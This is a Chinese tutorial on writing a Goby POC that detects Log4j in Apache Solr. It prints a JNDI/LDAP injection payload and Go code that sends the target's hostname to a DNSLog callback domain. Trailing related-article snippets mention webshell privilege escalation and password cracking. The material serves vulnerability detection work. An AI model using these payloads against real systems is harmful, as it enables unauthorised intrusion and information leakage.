网络安全渗透测试使用goby检测log4j漏洞

目录
  • 一、前言
  • 二、漏洞复现
  • 三、gobypoc编写
    • expJson部分
    • 自定义POC函数部分

一、前言

前段时间的Log4j漏洞影响很广泛,网上已经公开了很多地方的利用方式,而平时用goby较多,就想利用goby的指纹识别对目标定向检测。这篇文章就从Apache Solr Log4j漏洞为例,教大家如何写goby poc,文章中有错误还请及时指正。

Goby可以通过编写go文件,来实现一些高级的漏洞检测或利用,例如dnslog检测漏洞

详情可查阅goby官方文档:https://cn.gobies.org/docs/exp/index.html

二、漏洞复现

首先了解到漏洞触发点是action参数,

/solr/admin/collections?action=

通过dnslog验证到靶机是存在漏洞。

payload:${jndi:ldap://24x44x.dnslog.cn/a}

图一:发送payload

图二:dnslog有回显

三、goby poc编写

Goby是通过golang编写的,而一些漏洞检测场景(比如dnslog验证),goby自身的JSON 格式无法满足这一需求,需采用 Golang 编写漏洞代码。

expJson部分

1、首先通过goby poc管理,添加poc,按照goby官方漏洞描述模版说明填写并保存。

图三:自定义poc

2、在goby安装目录的\golib\exploits\user文件夹打开生成的Apache_Solr_Log4j_JNDI_RCE.json文件,如果不需要exp则需把HasExp字段的true改为false。

图四:生成的json文件

3、将生成的json代码(去掉外围大括号)复制到goby漏洞检测golang模板的expJson := {xxx}中。

package exploits

import (
//根据需求导入相应的包
"fmt"
"git.gobies.org/goby/goscanner/goutils"
"git.gobies.org/goby/goscanner/jsonvul"
"git.gobies.org/goby/goscanner/godclient"
"git.gobies.org/goby/goscanner/scanconfig"
"git.gobies.org/goby/httpclient"
"strings"
"time"
)
func init() {
expJson := `{
expJson部分
}`
ExpManager.AddExploit(NewExploit(
goutils.GetFileName(),
expJson,
nil, //自定义POC函数部分。
nil, //自定义EXP函数, 没有EXP,就写nil,
))
}

goby漏洞检测golang模板

自定义POC函数部分

1、根据官方文档说明

自定义 POC 由一个函数构成,该函数参数分为

jsonvul.JsonVul、httpclient.FixUrl、scanconfig.SingleScanConfig 结构体组成,通过响应 bool 来确认漏洞是否存在。函数模版如下:

func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {
return false
}

需要通过编写检测漏洞是否存在的golang代码,检测到漏洞存在则返回true,不存在返回false。

图五:自定义 POC函数部分

checkStr := goutils.RandomHexString(4)

RandomHexString函数:随机生成指定长度的字符串

checkUrl, isDomain := godclient.GetGodCheckURL(checkStr)

GetGodCheckURL函数:生成DNSLog地址

uri := "/solr/admin/collections?action=$%7Bjndi:ldap://$%7BhostName%7D." + checkUrl + "/a%7D"

漏洞触发点拼接payload

cfg := httpclient.NewGetRequestConfig(uri) //NewGetRequestConfig:构建GET请求自定义配置,返回RequestConfig
cfg.VerifyTls = false //忽略ssl验证
cfg.FollowRedirect = false //不跟随跳转
cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") //自定义请求头
httpclient.DoHttpRequest(u, cfg) //DoHttpRequest:构建自定义请求配置,发送请求,返回请求结果HttpResponse

构建并发送自定义配置的GET请求,返回请求结果HttpResponse

图六:通过代理抓取到goby发送payload的get请求

return godclient.PullExists(checkStr, time.Second*15)

在一段时间内检测dnslog是否有HTTP请求成功,如果成功返回true,否则返回false。

图七:通过代理抓取到goby检测dnslog是否有HTTP请求成功

图八:漏洞检测成功

注意点:

  • 1、expJson部分GobyQuery查询规则,要保证能匹配到对应目录资产
  • 2、导入goby,发现加载不出poc,需要去检查代码的问题
  • 3、使用goby官方的函数需通过import导入对应的包

当然除了solr还有很多框架,希望大家能从文章中学到一点知识,打磨自己的武器。

以上就是网络安全渗透测试使用goby检测log4j漏洞的详细内容,更多关于使用goby检测log4j漏洞的资料请关注我们其它相关文章!

(0)

相关推荐

  • 超全的webshell权限提升方法

    WEBSHELL权限提升技巧  c: d: e:.....  C:\Documents and Settings\All Users\「开始」菜单\程序\  看这里能不能跳转,我们从这里可以获取好多有用的信息比如Serv-U的路径,  C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\  看能否跳转到这个目录,如果行那就最好了,直接下它的CIF文件,破解得到pcAnywhere密码,登陆  c:\Pr

  • Python操作xmind文件实现思维导图绘制示例过程

    目录 思维导图 思维导图功能 使用软件 python3 操作 xmind 工具画思维导图 基础知识详解 画思维导图实例 在平时的工作中当我们要总结一些知识的时候就需要一款工具来画画流程图,这里推荐 XMind 软件,用 Xmind 绘制的思维导图看起来思路清晰,那么今天的文章介绍关于思维导图的相关知识以及用 Python 如何操作 Xmind 绘制思维导图. 思维导图 思维导图:思维导图又叫心智导图是表达发散性思维的有效的图形思维工具,它简单却又很有效,是一种革命性的思维工具.思维导图运用图文并

  • 渗透测试信息收集查询真实IP过程

    查找真实IP 如果目标服务器不存在CDN可以直接通过 http://tools.jb51.net/aideddesign/ipcha 获取目标的一些IP及域名信息. 目标服务器存在CDN CDN即内容分发网络,主要解决因传输距离和不同运营商节点造成的网络速度性能低下的问题. 说简单点,就是一组在不同运营商之间的对接节点上的高速缓存服务器,把用户经常访问的静态数据资源(例如静态的html.css.js图片等文件)直接缓存到节点服务器上.当用户再次请求时,会直接分发到在理用户近的节点服务器上响应给用

  • JavaScript 常见安全漏洞和自动化检测技术

    前言 随着 Web2.0 的发展以及 Ajax 框架的普及,富客户端 Web 应用(Rich Internet Applications,RIA)日益增多,越来越多的逻辑已经开始从服务器端转移至客户端,这些逻辑通常都是使用 JavaScript 语言所编写.但遗憾的是,目前开发人员普遍不太关注 JavaScript 代码的安全性.据 IBM X-Force 2011 年中期趋势报告揭示,世界五百强的网站及常见知名网站中有 40% 存在 JavaScript 安全漏洞.本文将结合代码向读者展示常见

  • 网络安全渗透测试使用goby检测log4j漏洞

    目录 一.前言 二.漏洞复现 三.gobypoc编写 expJson部分 自定义POC函数部分 一.前言 前段时间的Log4j漏洞影响很广泛,网上已经公开了很多地方的利用方式,而平时用goby较多,就想利用goby的指纹识别对目标定向检测.这篇文章就从Apache Solr Log4j漏洞为例,教大家如何写goby poc,文章中有错误还请及时指正. Goby可以通过编写go文件,来实现一些高级的漏洞检测或利用,例如dnslog检测漏洞 详情可查阅goby官方文档:https://cn.gobi

  • 网络安全渗透测试反序列化漏洞分析与复现工作

    目录 0x00概述 0x01服务分析 0x02漏洞分析 0x03POC构造 0x04总结 0x00 概述 GENESIS64软件的多个版本存在反序列化漏洞,影响多个组件,例如: 根据CVE漏洞相关描述,下载对应GENESIS软件版本搭建环境,进行漏洞分析与复现工作. 0x01 服务分析 安装完成后对整个系统进行熟悉,发现Web程序接口使用Silverlight进行数据交互,因此需要找到相关功能文件进行分析.经过一些时间查找,找到系统服务开启的配置文件,在配置文件中定义了访问接口信息以及调用的相关

  • 网络安全渗透测试小程序抓包流程步骤详解

    目录 小程序测试流程 搜索目标小程序 小程序主体信息确认 小程序包获取 PC端 windows端获取小程序包流程 移动端 解包 调试 抓包 小程序测试流程 分为两个方面,解包可以挖掘信息泄露问题.隐藏的接口,抓包可以测试一些逻辑漏洞.API安全问题.两者结合起来就可以边调试边进行测试,更方便于安全测试. 搜索目标小程序 目标搜索不能仅仅局限于主体单位,支撑单位.供应商.全资子公司等都可能是入口点,所以小程序当然也不能放过它们. 小程序主体信息确认 查看小程序账号主体信息,否则打偏了花费了时间不说

  • 网络安全渗透测试之musl堆利用技巧

    目录 前言 题目分析 调试分析 malloc_context meta chunk meta的释放 总结 前言 最近比赛出的musl题型的越来越多,不得不学习一波musl的堆利用来应对今后的比赛.这里要讲的是musl1.22版本的利用,因为网上可以找到很多审计源码的文章,所以这篇文章是通过一道题目来debug去学习堆的利用技巧,这里用到的是2021第五空间线上赛的notegame题目. 题目分析 1.首先是add函数,使用了calloc,申请的最大size是0x90 2.接着是delete函数,

  • 详解PHP渗透测试文件包含漏洞与利用

    目录 什么是文件包含漏洞 文件包含漏洞的分类 本地文件包含 漏洞&利用 利用条件(以PHP为例) 直接访问文件 利用协议读取源代码 截断%00 长度截断 PHP的伪协议 file:// php:// data:// phar:// 远程文件包含 漏洞利用 远程包含webshell 代码审计 修复建议 什么是文件包含漏洞 文件包含,在网站开发人员开发网站时,会将经常重复的代码写道一个单独的文件中,在别的文件中可以使用文件包含的函数来引用单独的文件.目前很多语言都支持文件包含,例如php(inchu

  • 用C语言winform编写渗透测试工具实现SQL注入功能

    目录 用C语言winform编写渗透测试工具使SQL注入 一.SQL注入 二.实现步骤 三.代码实现 四.软件使用步骤 用C语言winform编写渗透测试工具使SQL注入 一.SQL注入 原理: SQL注入是指攻击者在Web应用程序中事先定义好的查询语句的结尾加上额外的SQL语句,这些一般都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作.(危害:盗取网站敏感信息.绕过验证登录网站后台.借助数据库的存储过程进行权限提升等操作).造成的原因是程序员在编写Web程序时,没有对浏览

  • 全网最新Log4j 漏洞修复和临时补救方法

    1. 漏洞评级及影响版本 Apache Log4j 远程代码执行漏洞 严重 影响的版本范围:Apache Log4j 2.x <= 2.14.1 2.log4j2 漏洞简单演示 创建maven工程 引入jar包依赖 <dependencies> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> &

  • SQL注入渗透测试以及护网面试题和解答总结

    目录 SQL 注入漏洞成因.注入的类型和方式.防范? 盲注是什么?怎么盲注? 宽字节注入原理 SQL 里面只有 update 怎么利用 为什么参数化查询可以防止SQL 注入? 报错注入的函数有哪些? 如何防护SQL注入攻击呢? 总结 SQL 注入漏洞成因.注入的类型和方式.防范? 提交错误语句是否有异常,除此之外这些显示的错误可以通过 sleep,修眠语句执⾏ 5 秒,通过 DNSlog 判断传回值等. select * from news where id = '$SQL'; 当程序执⾏访问新

  • 渗透测试信息收集之常用端口信息

    目录 收集常用端口信息 文件共享服务端口 远程连接服务端口 Web应用服务端口 数据库服务端口 邮件服务端口 网络常见协议端口 特殊服务端口 指纹识别 收集常用端口信息 通过扫描服务器开放的端口进而从该端口判断服务器上存在的服务. 最常见的扫描工具就是Nmap,无状态端口扫描工具Massca.Zmap和御剑高速TCP端口扫描工具. 常见的端口及其说明,以及其攻击方向汇总如下. 文件共享服务端口 端口号 端口说明 攻击方向 21/22/69 FTP/TFTP文件传输协议 允许匿名的上传.下载.爆破

  • python渗透测试linux密码激活的示例

    上篇文章给大家介绍过 Python脚本破解Linux口令(crypt模块)  感兴趣的朋友点击查看. linux密码破解 这段代码通过分别读取两个文件,一个为加密口令文件(cryptPass),另一个为用于猜测的字典文件(key.txt). 在testPass()函数中读取字典文件,并通过crypt.crypt()进行加密,加密时需要一个明文密码以及两个字节salt(加密口令的前两个字母),通过salt和明文密码加密形成 cryptWord. 最后将cryptWord和cryptPass进行对比

随机推荐